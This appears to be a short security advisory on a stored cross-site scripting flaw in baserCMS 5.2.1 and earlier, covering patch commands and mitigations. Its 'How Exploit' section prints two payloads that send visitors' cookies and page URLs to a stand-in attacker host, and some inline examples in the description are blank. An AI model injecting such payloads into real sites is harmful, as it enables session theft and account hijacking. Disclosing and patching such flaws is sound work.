Listen to this Post
The vulnerability resides in the blog post functionality of baserCMS versions 5.2.1 and earlier. When a user with blog editing privileges creates or modifies a post, the application fails to properly sanitize user-supplied input before rendering it in the browser. Specifically, the input fields for blog post content (such as the body, , or excerpt) do not apply sufficient output encoding or filtering for HTML tags and JavaScript event handlers. An attacker can inject arbitrary JavaScript code into these fields—for example, by embedding `` or using `onerror` attributes within an `` tag. Because the injected payload is stored in the database and later served without adequate escaping, it is executed in the context of any visitor who views the blog post. This stored cross-site scripting (XSS) vector allows the attacker to hijack user sessions, steal cookies, perform unauthorized actions on behalf of the victim, or deface the blog interface. The issue originates in the `BcBlog` plugin and related view files that render blog content using unescaped strings. The vulnerability was reported by Gai Tanaka of Mitsui Bussan Secure Directions, Inc., and the official countermeasure is to update to the latest version of baserCMS where the sanitization routines have been hardened. The associated JVN identifier is JVN20837860, and the advisory was published on March 31, 2026.
Platform: baserCMS
Version: 5.2.1 & earlier
Vulnerability : Cross-Site Scripting
Severity: Moderate
date: 31 March 2026
Prediction: Already patched (latest)
What Undercode Say:
Check installed baserCMS version grep "version" /path/to/basercms/config/version.php Update via composer (if installed) composer update baserproject/basercms Verify patch by inspecting blog view files grep -r "h\(\)" /path/to/basercms/plugins/BcBlog/ look for unescaped outputs Restart web server after update systemctl restart nginx
How Exploit:
// Stored XSS payload example (inject via blog post content)
<img src="x" onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
// Alternatively, use a script tag
<script>new Image().src='https://attacker.com/log?url='+location.href;</script>
Protection from this CVE:
- Immediately upgrade to baserCMS version 5.2.2 or later.
- If unable to upgrade, apply the official patch from basercms.net/security/JVN_20837860.
- Enforce Content Security Policy (CSP) headers to block inline script execution.
- Regularly audit blog post inputs with a web application firewall.
Impact:
- Session hijacking and credential theft.
- Unauthorised administrative actions (e.g., creating backdoor accounts).
- Defacement of blog pages and distribution of malicious content.
- Potential compromise of visitor browsers through drive-by download attacks.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
